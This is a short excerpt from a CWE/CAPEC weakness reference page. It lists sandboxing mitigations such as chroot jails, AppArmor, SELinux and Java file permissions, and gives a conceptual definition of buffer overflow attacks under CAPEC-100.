  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-100: Overflow Buffers

Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice.

← Back to the CWE list